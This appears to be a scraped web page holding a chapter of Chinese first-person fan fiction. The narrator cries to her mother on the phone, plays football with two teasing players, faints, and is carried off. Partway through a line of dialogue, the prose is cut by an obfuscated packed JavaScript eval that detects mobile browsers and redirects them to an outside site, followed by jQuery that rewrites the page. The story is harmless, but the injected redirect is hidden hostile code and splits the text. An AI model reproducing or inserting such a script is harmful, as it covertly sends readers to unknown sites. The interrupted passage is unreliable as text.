电话那头静了一会,妈妈温柔的声音带着一丝担忧传来:“小爱?怎么了?慢慢说,别哭,发生什么事了?爸爸呢?他是不是又只顾着足球没照顾好你?” “不是爸爸的问题……是,是这里的人……都好奇怪……”我抽噎着,努力组织语言,避开那些最尴尬的细节,“总是发生很多莫名其妙的事情……我每天都觉得好尴尬,好想躲起来……今天还,还……” 我含糊地带过了邦尼被抢劫后不得不暂时收留他的事,只强调了自己处理不来这些突发状况,感觉每天都活在鸡飞狗跳里。我又抱怨了爸爸根本靠不住,只会看热闹甚至火上浇油,巴黎的练习好像也没有想象中那么顺利,总之就是把能说的“苦水”都倒了出去,声音里的委屈和哽咽百分之百真实。 “好了好了,妈妈知道了。”妈妈的声音听起来心疼极了,语气却异常果断,“没想到会是这样……我以为你在那边能更专注于提升自己。如果环境让你这么不开心,那待在那里就没有意义了。我这边会尽快处理,跟你爸爸谈谈,安排你提前回来。放心,交给妈妈。” 听到妈妈肯定的答复,我高高悬着的心终于落回了实处,甚至因为得救的喜悦,鼻子又酸了一下:“真的吗?妈妈……谢谢你……” “嗯,当然是真的。我的小宝贝受苦了。”妈妈的声音柔软下来,“再坚持一下,好吗?很快就能回来了。” 挂了电话,我长长地、彻底地舒了一口气,仿佛卸下了千斤重担。对着镜子看了看,眼睛果然有点红,脸上还有没擦干的泪痕,看起来确实挺惨的。 绝不能让外面那两个家伙看到我这副样子!尤其是夏尔,要是被他看到我哭了,指不定又会说出什么惊世骇俗的话来。 我赶紧拧开水龙头,用冷水扑了扑脸,冰凉的感觉让我清醒了不少。反复确认镜子里的人除了眼睛还有点微红外,基本恢复了“正常”,我才深吸一口气,做足了心理建设,拧开了卫生间的门。 门外,夏尔和邦尼居然……相安无事?夏尔正拿着那个丑萌的南瓜头钥匙扣对着邦尼比划着什么,邦尼则一脸“和蔼”地听着,时不时点点头。 看到我出来,夏尔立刻把钥匙扣一扔,蹦了过来:“姐姐!你终于出来了!我们还以为你掉进去了呢!” 邦尼也微笑着看过来,目光在我似乎比刚才红一点的眼圈上停顿了零点一秒,但什么也没问,只是说:“清田小姐还好吗?” “没事。”我努力让自己的语气听起来平静甚至有点不耐烦,“你们两个,很闲吗?” “闲啊!”夏尔回答得理直气壮,“训练结束了当然闲!” “嗯……等待经纪人联络的时光,确实漫长而充 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16261564|182000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 满未知,仿佛徘徊在生与死的间隙。”邦尼微笑着补充。 我看着这两个精力过剩的足球运动员,一个念头突然冒了出来。 既然这么闲,既然都是踢球的…… “那好,”我抱起胳膊,抬了抬下巴,指向窗外,“反正闲着也是闲着,与其在房间里说些没营养的话,不如去活动活动。附近好像有个公共球场,去踢球,敢吗?” 果然,这个提议瞬间点燃了夏尔的兴趣,他眼睛一亮:“踢球?和姐姐你吗?哇!好啊好啊!我要和姐姐一对一!”他完全没把我放在眼里,语气兴奋得像要去玩什么新游戏。 邦尼也笑眯眯地点头:“不错的提议。运动总能让人更清晰地感受到生命的活力……或者透支。” “那就别废话了,走吧。”我率先朝门口走去,心里暗暗盘算:正好把多余的精力发泄掉,顺便……也许能在实战中试试最近学到的东西?虽然大概率会被这两个家伙虐得很惨。 天色已经渐暗,但社区的小足球场旁边有灯光照明,还有几个孩子在另一端嬉闹着踢球。我们找了个空的半场。 “怎么玩怎么玩?”夏尔迫不及待地把球踩在脚下,跃跃欲试。 “轮流一对一吧,另一个人当门将。”我提议道,这样我能分别体验一下他们的风格。 “好呀!我先攻,姐姐守!十字疤小哥,你去守门!”夏尔立刻分配任务,根本没给我反对的机会。 邦尼从善如流地站到了简陋的球门线前,甚至还像模像样地拍了拍手套(并没有),做了个准备的姿势。 夏尔带着球,面对我,脸上依旧是那副嬉笑的表情,但眼神里已经带上了专注。他启动的速度并不算爆炸性的快,但脚下的节奏变幻莫测,肩膀虚晃的动作逼真得可怕。 我紧张地压低重心,试图跟上他的步伐,但差距是显而易见的。他只是一个简单的踩单车接变向,我的重心就被骗开了,眼睁睁看着他像一阵风似的从我身边抹了过去,轻松推射远角得分。邦尼象征性地伸了伸手,显然没认真守。 “哇!姐姐你的防守像清晨的马路一样宽敞呢!”夏尔进球后,还不忘回头给我一个灿烂的笑容。 我气得牙痒痒,却无力反驳。 轮到我进攻了。我面对夏尔,试图用上最近练习的盘带,但在他迅捷的下脚和精准的卡位面前,我的护球显得如此笨拙。他看准我一个趟球稍大,轻松就把球捅走了。 “不行啊姐姐,这样可过不掉我哦~”他得意地颠着球。 接下来的几轮几乎是一边倒。无论是面对夏尔还是后来换上的邦尼,我都显得手足无措。我的反应总是慢半拍,身体也跟不上想法,抢断更是无从谈起。他们甚至不需要用多少力气,明显放了一片太平洋的水,我还是碰不到球。 挫败感一点点累积起来。虽然早知道差距巨大,但真正被这样戏耍,心里还是很不舒服。 “姐姐,你这样不行啊,”夏尔又一次断下我的球后,叹了口气,语气难得认真了一点,“你不能光盯着球看,要提前想想我会往哪里去,猜一下啊!足球是用脑子踢的!” 猜你的位置?我愣了一下,想起他之前各种匪夷所思的行为和天马行空的想法,这怎么猜? 但抱着死马当活马医的心态,我还是尝试照做。下一次他带球面对我时,我努力不去只看他脚下的球,而是观察他的肩膀倾斜和目光看向的方向,脑海里飞快地预判他可能的突破路线。 右边?我下意识地移动重心封堵。 夏尔果然把球拨向了右边!我的拦截居然真的碰到了球!虽然没能完全断下来,但至少阻碍了他的推进! 有效! 这个小小的成功让我精神一振。原来提前观察和预判真的有用! 接下来的比赛,我感觉自己仿佛打开了一扇新的大门。我开始更积极地用脑子去踢球,而不是仅仅依靠本能和粗糙的技术。我努力回忆着蜂乐回在蓝色监狱里那些炫目的过人动作,虽然做不到他那样流畅自如,但模仿个形似,结合预判,竟然真的产生了效果! 一次进攻中,我面对夏尔的防守,脑海里浮现出蜂乐回那种轻盈的拉球转身,下意识地模仿——右脚拉球,身体顺势旋转! 夏尔显然没料到我会做出这种动作,愣了一下。就利用这瞬间的迟疑,我勉强从他身边挤了过去!虽然动作踉踉跄跄,但确实过去了! 面对前方象征性张开手臂的邦尼,我几乎是凭着感觉抡起一脚抽射! 球居然打在了门框范围内,滚进了球门! 我愣住了,看着网窝里还在打转的皮球,有点不敢相信。我……过掉了夏尔?还进球了? 夏尔也显得很惊讶,他眨巴着眼睛:“哇哦!姐姐你刚刚那下……可以啊!差点就被你骗过去了!”他的语气里带着一丝真正的赞赏,而不是之前的戏谑。 “运气好吧……”我有点不好意思,但心底却涌起一股巨大的兴奋和成就感。 接下来的几轮,我似乎完全跟上了他们的节奏(当然是他们放水后的节奏)。我更加大胆地尝试各种处理和射门,又进了几个球。虽然大多数时候还是被他们轻松拿捏,但偶尔灵光一闪的成功,足以让我兴奋不已。我们踢得越来越投入,笑声和喊声在夜晚的球场回荡。 我完全沉浸在了这种进步的快乐和足球最原始的乐趣中,忘了时间,忘了疲惫,忘了所有乱七八糟的烦恼。 直到…… 又一次试图抢断邦尼未果后,我停下来双手撑着膝盖喘气,忽然感到一阵强烈的眩晕袭来,眼前的景物开始旋转模糊,耳朵里嗡嗡作响,心脏跳得飞快,几乎要从嗓子眼里蹦出来。浑身发软,一点力气都使不上了。 “姐姐,你没事吧?”夏尔的声音听起来有点遥远,带着一丝担忧,“你的脸好白啊!” 邦尼也走了过来,微微俯身看着我:“清田小姐?你的状态看起来……不太妙。” 我想摇摇头说没事,却发现连抬起头的力气都没有了。呼吸变得急促而浅,耳鸣声越来越大。 “我……好像有点晕……”我断断续续地说,声音细若蚊蚋,“……没力气了……” “哇!你肯定是踢得太嗨,完全没注意体力透支了!”夏尔抱怨道,语气里却没了平时的玩笑意味,“真是的,一点也不注意!” 邦尼没有说话,只是仔细看了看我的状态。下一刻,在我还没反应过来的时候,他忽然弯下腰,手臂穿过我的膝弯和后背,微微一用力—— 失重感瞬间传来! 我整个人被打横抱了起来! 公、公主抱?! 我瞬间僵住了,所有的眩晕和无力感都被这突如其来的、人生中第一次的公主抱惊得飞到了九霄云外!脸颊“唰”地一下爆红,心跳刚刚是因为脱力而狂跳,现在则是因为纯粹的震惊和羞窘! “等、等等!邦尼先生!你放我下来!我自己能走!”我惊慌失措地喊道,手脚却因为脱力而软绵绵的,挣扎显得毫无说服力。 “别动,亲爱的。”邦尼的声音从上方传来,依旧带着那抹诡异的笑意,但手臂稳得像铁钳,“以你现在的状态,恐怕走不到三步就会拥抱大地了。还是让我代劳吧,这样更有效率,不是吗?” 他说得一本正经,仿佛在讨论什么最优解决方案。 无法反驳。